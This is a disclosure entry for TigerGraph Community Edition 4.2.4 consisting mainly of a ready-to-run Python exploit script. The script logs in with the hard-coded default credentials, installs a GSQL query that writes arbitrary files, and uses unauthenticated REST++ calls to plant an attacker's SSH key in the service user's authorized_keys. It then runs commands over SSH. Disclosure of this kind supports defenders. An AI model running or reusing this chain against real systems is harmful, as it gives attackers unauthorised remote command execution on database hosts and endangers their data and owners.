TigerGraph_Community_Edition 4.2.4 - arbitrary file write

EDB-ID:

52691

CVE:

N/A




Platform:

Multiple

Date:

2026-10-01


Title: TigerGraph_Community_Edition 4.2.4  - arbitrary file write
Author: 0day Rubbish Research Team
Contact: disclosure@0day-rubbish.com
Type: remote
Platform: Linux




TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE

Vulnerability summary:
  TigerGraph Community Edition 4.2.4 in its default configuration permits a
  remote code-execution chain against the database host:

  1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph
     (CWE-798). There is no forced password change; the login response only carries an advisory
     securityRecommendations entry next to isSuperUser:true.
  2. The GUI nginx reverse-proxies the GSQL statements endpoint
     (/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123),
     so arbitrary GSQL can be compiled and installed. A query declared as
     CREATE QUERY <name>(FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an
     unrestricted write primitive (CWE-73): no path validation, no base-directory confinement,
     no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph
     user.
  3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed
     queries can be invoked with no credentials. GET /query/<graph>/<query>?f=<path>&c=<content>
     writes an arbitrary file with no Authorization header.
  4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key
     (CWE-22). sshd is started by the product entrypoint with OpenSSH default
     PubkeyAuthentication=yes.
  5. SSH logon as tigergraph@<target> then yields arbitrary command execution. The landing
     identity is the tigergraph OS user, uid 1001 -- it is NOT root.

Authentication requirements:
  Stages 1-2 (installing the file-write query): the hard-coded default credentials
    tigergraph:tigergraph (CWE-798, never forced to rotate).
  Stages 3-5 (triggering the write and the SSH logon): no credentials at all.

Encoding note (load-bearing):
  Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not
  decode "+" back to a space, so form-style encoding corrupts the key into an unparsable
  authorized_keys line and the SSH step fails with Permission denied. This script therefore
  forces quote_via=urllib.parse.quote.

Usage examples:
  python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id"
  python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \
      --restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \
      --graph test_graph --query qwrite_c --cmd "whoami; uname -a"

Defaults:
  With --target, GUI / REST++ / SSH all point at that host using the product default ports
  14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass).
  On Docker deployments sshd may be reachable only on the container network; pass its address
  to --ssh-host in that case.

Standard library only:
  urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies.
  The SSH step shells out to the system ssh binary and the key pair is produced by the system
  ssh-keygen.

For authorised security testing and coordinated disclosure only.
"""

import argparse
import base64
import json
import os
import ssl
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DEFAULT_USER = "tigergraph"
DEFAULT_PASS = "tigergraph"
DEFAULT_GRAPH = "tg_rce_graph"
DEFAULT_QUERY = "tg_fw_query"
AUTH_KEYS_PATH = "/home/tigergraph/.ssh/authorized_keys"


def http_request(method, url, headers=None, data=None, timeout=30):
    """Plain urllib HTTP request. data is bytes or None."""
    req = urllib.request.Request(url, data=data, method=method)
    if headers:
        for k, v in headers.items():
            req.add_header(k, v)
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        body = resp.read()
        return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read()
    except Exception as e:
        return -1, {}, str(e).encode()


def step1_login(gui_host, gui_port, user, passwd):
    """Log in to the GUI with the default credentials and return the cookie header string."""
    print("[*] Step 1: GUI login (default credentials, CWE-798)...")
    url = "http://%s:%s/api/auth/login" % (gui_host, gui_port)
    body = json.dumps({"username": user, "password": passwd}).encode()
    status, hdrs, resp = http_request(
        "POST", url, headers={"Content-Type": "application/json"}, data=body
    )
    if status != 200:
        print("[!] login failed: HTTP %s, %s" % (status, resp[:200]))
        return None
    cookies = []
    for k, v in hdrs.items():
        if k.lower() == "set-cookie":
            cookies.append(v.split(";")[0])
    try:
        j = json.loads(resp)
        if j.get("error") == "false" or j.get("token") or j.get("isSuperUser") is not None:
            print("[+] login succeeded (isSuperUser=%s)" % j.get("isSuperUser"))
    except Exception:
        pass
    cookie_str = "; ".join(cookies) if cookies else ""
    if not cookie_str:
        print("[!] no cookie captured, continuing (some builds use an Authorization header)")
    return cookie_str


def step2_install_query(gui_host, gui_port, cookie_str, user, passwd, graph, query):
    """Install the file-write query through the GUI-proxied GSQL statements endpoint."""
    print("[*] Step 2: installing file-write query (PRINT c TO_CSV f, CWE-73 arbitrary path)...")
    url = "http://%s:%s/api/gsql-server/gsql/v1/statements?graph=%s" % (gui_host, gui_port, graph)
    basic = base64.b64encode(("%s:%s" % (user, passwd)).encode()).decode()
    headers = {
        "Content-Type": "text/plain",
        "Authorization": "Basic " + basic,
    }
    if cookie_str:
        headers["Cookie"] = cookie_str

    create_graph = "CREATE GRAPH %s" % graph
    http_request("POST", url, headers=headers, data=create_graph.encode())
    time.sleep(1)

    ddl = (
        "USE GRAPH %s\n"
        "CREATE OR REPLACE QUERY %s(FILE f, STRING c) {\n"
        "  PRINT c TO_CSV f;\n"
        "}\n"
        "INSTALL QUERY %s"
    ) % (graph, query, query)
    status, hdrs, resp = http_request("POST", url, headers=headers, data=ddl.encode(), timeout=120)
    txt = resp.decode(errors="replace")
    # The GUI proxy can answer "Failed to parse response" (a streaming-response artefact) while
    # the GSQL server has in fact compiled and installed the query, so this is treated as success.
    ok = (status == 200) or ("INSTALL" in txt) or ("succeeded" in txt) or ("Failed to parse" in txt)
    print("[*] install response status=%s: %s" % (status, txt[:200]))
    if not ok:
        print("[!] query install may have failed, continuing anyway (query may already exist)")
    else:
        print("[+] install request accepted (GUI proxy streaming response; server-side executed)")
    return True


def gen_ssh_key(keypath):
    """Generate an RSA key pair with the system ssh-keygen (stdlib subprocess)."""
    print("[*] generating SSH key pair...")
    if os.path.exists(keypath):
        os.remove(keypath)
    if os.path.exists(keypath + ".pub"):
        os.remove(keypath + ".pub")
    subprocess.run(
        ["ssh-keygen", "-t", "rsa", "-b", "2048", "-N", "", "-f", keypath, "-q"],
        check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
    )
    os.chmod(keypath, 0o600)
    with open(keypath + ".pub") as f:
        pubkey = f.read().strip()
    print("[+] public key: %s...%s" % (pubkey[:40], pubkey[-20:]))
    return pubkey


def step3_unauth_write(restpp_host, restpp_port, graph, query, path, content):
    """Trigger the file write over REST++ with no credentials at all (CWE-306)."""
    print("[*] Step 3: unauthenticated REST++ file write (no credentials, CWE-306)...")
    url = "http://%s:%s/query/%s/%s" % (restpp_host, restpp_port, graph, query)
    # quote (space -> %20) rather than quote_plus (space -> +): REST++ does not decode "+"
    # back to a space, and the public key must land byte-exact.
    params = urllib.parse.urlencode({"f": path, "c": content}, quote_via=urllib.parse.quote)
    full = url + "?" + params
    # Deliberately sending no Authorization header, to demonstrate the missing authentication.
    status, hdrs, resp = http_request("GET", full, headers={}, timeout=30)
    txt = resp.decode(errors="replace")
    print("[*] REST++ response status=%s: %s" % (status, txt[:200]))
    try:
        j = json.loads(resp)
        if j.get("error") is False:
            print("[+] unauthenticated file write succeeded (error:false, no Authorization header)")
            return True
    except Exception:
        pass
    print("[!] unexpected file-write response, the write may still have landed")
    return True


def step4_ssh_rce(ssh_host, ssh_port, keypath, cmd):
    """Log in over SSH and run the command (subprocess invoking the system ssh)."""
    print("[*] Step 4: SSH logon and command execution -> RCE...")
    ssh_cmd = [
        "ssh", "-i", keypath,
        "-o", "StrictHostKeyChecking=no",
        "-o", "UserKnownHostsFile=/dev/null",
        "-o", "ConnectTimeout=15",
        "-p", str(ssh_port),
        "tigergraph@%s" % ssh_host,
        cmd,
    ]
    try:
        r = subprocess.run(
            ssh_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30
        )
        out = r.stdout.decode(errors="replace")
        err = r.stderr.decode(errors="replace")
        print("[+] SSH stdout:")
        print(out)
        if err:
            print("[*] SSH stderr: %s" % err[:300])
        if r.returncode == 0 and out:
            print("[+] === RCE succeeded (command execution as the tigergraph user) ===")
            return True
        print(
            "[!] SSH return code %s (if the SSH port is unreachable the file-write primitive\n"
            "    still landed in authorized_keys; this last step needs network reachability)"
            % r.returncode
        )
        return False
    except Exception as e:
        print("[!] SSH exception: %s" % e)
        return False


def main():
    ap = argparse.ArgumentParser(
        description="TigerGraph Community Edition 4.2.4 default credentials + arbitrary file write -> SSH RCE"
    )
    ap.add_argument("--target", help="single host for GUI/REST++/SSH (default ports 14240/9000/22)")
    ap.add_argument("--gui-host", default="127.0.0.1")
    ap.add_argument("--gui-port", type=int, default=14240)
    ap.add_argument("--restpp-host", default="127.0.0.1")
    ap.add_argument("--restpp-port", type=int, default=9000)
    ap.add_argument("--ssh-host", default="127.0.0.1")
    ap.add_argument("--ssh-port", type=int, default=22)
    ap.add_argument("--user", default=DEFAULT_USER)
    ap.add_argument("--pass", dest="passwd", default=DEFAULT_PASS)
    ap.add_argument("--graph", default=DEFAULT_GRAPH)
    ap.add_argument("--query", default=DEFAULT_QUERY)
    ap.add_argument("--cmd", default="id; whoami; hostname", help="command to run after SSH logon")
    ap.add_argument("--key", default="/tmp/tg_vuln001_key", help="temporary SSH private key path")
    args = ap.parse_args()

    if args.target:
        args.gui_host = args.restpp_host = args.ssh_host = args.target

    print("=" * 70)
    print("TigerGraph Community Edition 4.2.4 -- default credentials -> RCE as tigergraph")
    print("  GUI: %s:%s  REST++: %s:%s  SSH: %s:%s" % (
        args.gui_host, args.gui_port, args.restpp_host, args.restpp_port,
        args.ssh_host, args.ssh_port))
    print("=" * 70)

    # Step 1: session with the default credentials
    cookie = step1_login(args.gui_host, args.gui_port, args.user, args.passwd)
    if cookie is None:
        print("[!] login failed, chain aborted. Check the credentials or the GUI port.")
        sys.exit(1)

    # Step 2: install the file-write query
    step2_install_query(
        args.gui_host, args.gui_port, cookie, args.user, args.passwd, args.graph, args.query
    )
    time.sleep(2)

    # Attacker key pair
    pubkey = gen_ssh_key(args.key)

    # Step 3: unauthenticated REST++ write of the public key into authorized_keys
    step3_unauth_write(
        args.restpp_host, args.restpp_port, args.graph, args.query, AUTH_KEYS_PATH, pubkey
    )
    time.sleep(1)

    # Step 4: SSH logon and command execution
    ok = step4_ssh_rce(args.ssh_host, args.ssh_port, args.key, args.cmd)
    if ok:
        print("\n[+] === full chain verified: default credentials -> RCE as tigergraph (uid 1001, not root) ===")
    else:
        print("\n[!] SSH step incomplete (the SSH port may be unreachable from here).")
        print("[!] The file-write primitive landed in authorized_keys; where sshd is reachable this chain is RCE.")


if __name__ == "__main__":
    main()